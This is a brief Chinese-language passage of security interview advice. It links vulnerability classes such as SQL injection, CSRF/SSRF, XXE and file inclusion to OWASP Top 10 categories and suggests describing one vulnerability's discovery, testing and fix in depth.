可以结合前面讨论过的题目串联知识点:我们之前讨论 SQL 注入(A05)的判断方法、CSRF 与 SSRF 的区别(统属 A01)、XXE(A02)的修复、LFI 文件包含(归入 A05 注入或 A01 访问控制,视具体危害而定),本质上都是在 OWASP 的框架下不断深化。这种关联回答往往能让面试官印象深刻。如果被追问“你做过哪些漏洞”,可挑一个深入研究过的漏洞,完整讲述发现→测试→修复的过程,展示真实的实操经验。